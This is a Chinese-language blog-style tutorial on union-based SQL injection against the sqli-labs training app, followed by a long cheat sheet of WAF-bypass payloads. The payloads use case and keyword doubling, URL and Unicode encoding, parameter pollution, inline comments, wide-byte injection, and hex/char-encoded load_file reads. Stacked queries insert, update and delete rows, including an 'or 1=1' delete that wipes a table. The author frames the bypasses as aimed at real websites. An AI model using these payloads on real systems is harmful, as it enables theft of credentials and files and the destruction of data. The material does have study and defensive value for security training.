我就簡單說說我對於聯合注入的想法,以及對於聯合注入繞過防火牆的方法,(只是我自己目前所掌握的方法,當然更多奇淫技巧還的需要我們自己去發掘)對於我們才學習安全的人來說,對於練習sql注入,我們學習最簡單的語法就是sql注入之聯合注入。
就拿sqli-labs來說說吧127.0.0.1/less-1/?id=1
我們的教程里面就說127.0.0.1/less-1/?id=1' 加上單引號,看爆不爆錯,如果報錯了可能存在sql注入,因為當我們127.0.0.1/less-1/?id=1這樣提交時,系統會自動加上單引號,就像這樣127.0.0.1/less-1/?id='1',但是由於我們又加了單引號,就形成這樣127.0.0.1/less-1/?id='1'',所以就會報錯,這說明什么,說明系統把我們的單引號帶入系統查詢了,所以會存在報錯。
然后教程就說第二步,(1)127.0.0.1/less-1/?id=1' order by 2--+ (2)127.0.0.1/less-1/?id=1' order by 3--+ (3)127.0.0.1/less-1/?id=1' order by 4--+我相信大家一定不會陌生,假如有3個字段,那么1和2不會報錯,3就會報錯,那么我們就可以篤定他有3個字段,所以,我們接下來就可以進行我們的第三步,union select,對了,在此之前,我一直搞不懂為何后面要加注釋,后來才明白,我們不加注釋,提交的語句為127.0.0.1/less-1/?id='1' order by 3' 這樣就會報錯,但是加了注釋,提交的語句就是這樣127.0.0.1/less-1/?id='1' order by 3#',后面的單引號就被注釋掉了,就沒有問題
然后我們就來到了教程的第三步127.0.0.1/less-1/?id=-1' union select 1,2,user()--+然后運用聯合注入查看用戶,database()數據庫,@@datadir數據庫的地址等等,然后我們就可以爆數據庫的庫名127.0.0.1/less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
127.0.0.1/less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" 爆security的表名
127.0.0.1/less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" 爆users表的字段名
127.0.0.1/less-1/?id=-1' union select 1,group_concat(username,0x7C,password),3 from users--+ 然后讀取表的字段內容,
可能有的講師講的比較深,要說limit,然后sql注入再講幾個簡單的繞waf,就過去了,初學就覺得,流啤的很,TM出數據了,好屌,其實當我們實操的時候,會發現,我們的union select根本就沒有用,最后還是靠sqlmap -u xxx --batch --level=3 --risk=3 --hex --tamper="space2randomblank.py" --batch --current-db,如果沒有跑出來,然后我們就想到用burpsuit抓包,然后post注入,如果這樣還搞不定,那么我們就放棄了(我是這樣跌跌撞撞走過來的,哈哈)
今天我就說說我的一些經驗吧!雖然也不多,在大牛面前看起來也就那樣,但還是分享跟那些才學安全的朋友。
首先我們看一個網站是否存在注入點,別一來就加單引號,因為某些敏感的網站,你加了單引號,你的ip直接被ban了,比如
http://127.0.0.1/sql/Less-1/?id=1-1 http://127.0.0.1/sql/Less-1/?id=1 看這2個回顯的長度,用burpsuit看length,這是基於數字型的
http://127.0.0.1/sql/Less-1/?id=1'-'1 http://127.0.0.1/sql/Less-1/?id=1'-'0 這是基於字符串型的
如果是空數據類型的 http://127.0.0.1/sql/Less-1/?id=1-exp(11111) 這樣判斷
如若大家想用 and 1=1,我建議不要這樣,因為現在大部分網站都會攔截,我們可以1%2b1=2 1%2b1>1 這樣判斷
這些說完了,我就來說說基於union select的繞過方法
1.網上也有很多,大小寫繞過,UNIunionON SELselectECT關鍵字替換繞過,但是對於很多網站,這個已經不怎么實用了。
2.其次是編碼以及服務器的解析(包括參數污染)
基於iis+asp的容器: s%u0065lect->select s%u00f0lect->select %U%N%I%O%N //這3種方法繞過
3.然后是是參數解析錯誤繞過: http://127.0.0.1/sql/Less-1/?id=1&id=-2' union select 1,user(),3--+
http://127.0.0.1/sql/Less-1/?id=-1+div+0' union select 1,2,user()--+
4.然后如果某些網站支持二次解析url編碼: /**/ = %2F%2A%2A%2F == %25%32%46%25%32%41%25%32%41%25%32%46
5.然后利用hpp參數污染繞過
http://127.0.0.1/sql/Less-1/?id=1 /*&id=-1'union select 1,user(),3 -- +*/ //利用hpp參數污染
http://127.0.0.1/sql/Less-1/?id=-1' and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version()--+ //利用垃圾文件繞過
6.接下來就是內聯注釋繞過
union/*!/*!50000select*/ //網上說是版本號,但是我在我的less1里面10000~50000都可行,大家也可以用burpsuit遍歷看長度
union/*!/**/%0aselect*/ //%0a是換行 +UnIoN/**/SeLecT/**/1,2,user() un/**/ion se/**/lect /**/union/*/select/**/
/*!40000 order*/ by 4--+ order /*!40000by*/ 4 --+
7.加入特殊字符
union %23%0aall //%23是注釋,%0A是換行,相當於把注釋換到下一行 union -- 1%0a select +union+select+1,user(),3--+
union(select 1,2,user())--+ +uni%0bon+se%0blect+1,2,user()--+
8.系統函數被過濾
1.列如我們的user()函數被過濾怎么辦
user/**/(/**/) //利用內聯注釋繞過 還可以user/*!50000*/(/**/)
user/*!50000*/%23%0a(/**/) //利用注釋換行繞過
`user`%0a() //利用反引號繞過+換行繞過
2.information_schema.schemata被過濾
`information_schema`.`schemata ` `information_schema`.schemata information_schema.`schemata ` //反引號3連
information_schema/**/.schemata information_schema/*!*/.schemata information_schema/*!50000*/.schemata //內聯注釋3連
information_schema%0a.schemata (information_schema.schemata) //特殊符號繞過
9.寫文件,讀文件
針對於寫讀文件的繞過
union select 1,hex(load_file(0x433A2F55736572732F415355532F4465736B746F702F632E747874)),3--+
union select 1,load_file(char(99,58,47,98,101,111,116,76,105,114,105)),3--+ //可以使用hex編碼和char編碼來繞過,當然前面的union select也可以用前面的方法繞過
10.寬字節注入
有些時候我們對網站sql注入的時候,會發現加上單引號會被/‘斜杠加單引號套餐伺候,這個時候我們就需要運用寬字節注入,當然你的%df,你的寬字節的ascii碼必須要大於128,才能使與/變成一個漢字。
127.0.0.1/less-1/?id=-1%df’ union select 1,2,version()–+這樣,如果%df被攔截了
%EF%BF%BD%27union%20select%201,user(),3–+ 可以這樣
11.其他(比如我們的注釋–+無法注釋后面的單引號)
union select 1,user(),3 and ‘1’%2b’1’='2 這樣繞過,=也可以變為%3D
也可以union select 1,user(),3 and ‘2’ >'1 >也可以變為%3E
12堆疊查詢
127.0.0.1/less-1/?id=1’;insert into users values (‘8’,‘xinxin’,‘shuai’)–+ //增加一條數據,當然得有權限,這些都是配合POST注入,舉個例子(基於lcamry的注入天書)
比如我們在一個登陸界面,我們當然顯得判斷出他的閉合是什么,如若是單引號,我們就輸入payload
uname=admin&passwd=c’;insert into users values (‘8’,‘xinxin’,‘shuai’)#&submit=Submit //我們直接加數據進去,當然前提的有權限
然后就是刪;
delete from guest where id =7 or 1=2–+ 這個的慎用,記住,or后面必須是錯誤語句,否則表TM全刪了。
;delete from guest where id =7 or 1=1–+ (這個就是以后別人送飯到手了)
;UPDATE guest SET firstname=‘akak’ WHERE id=3–+ //這個是改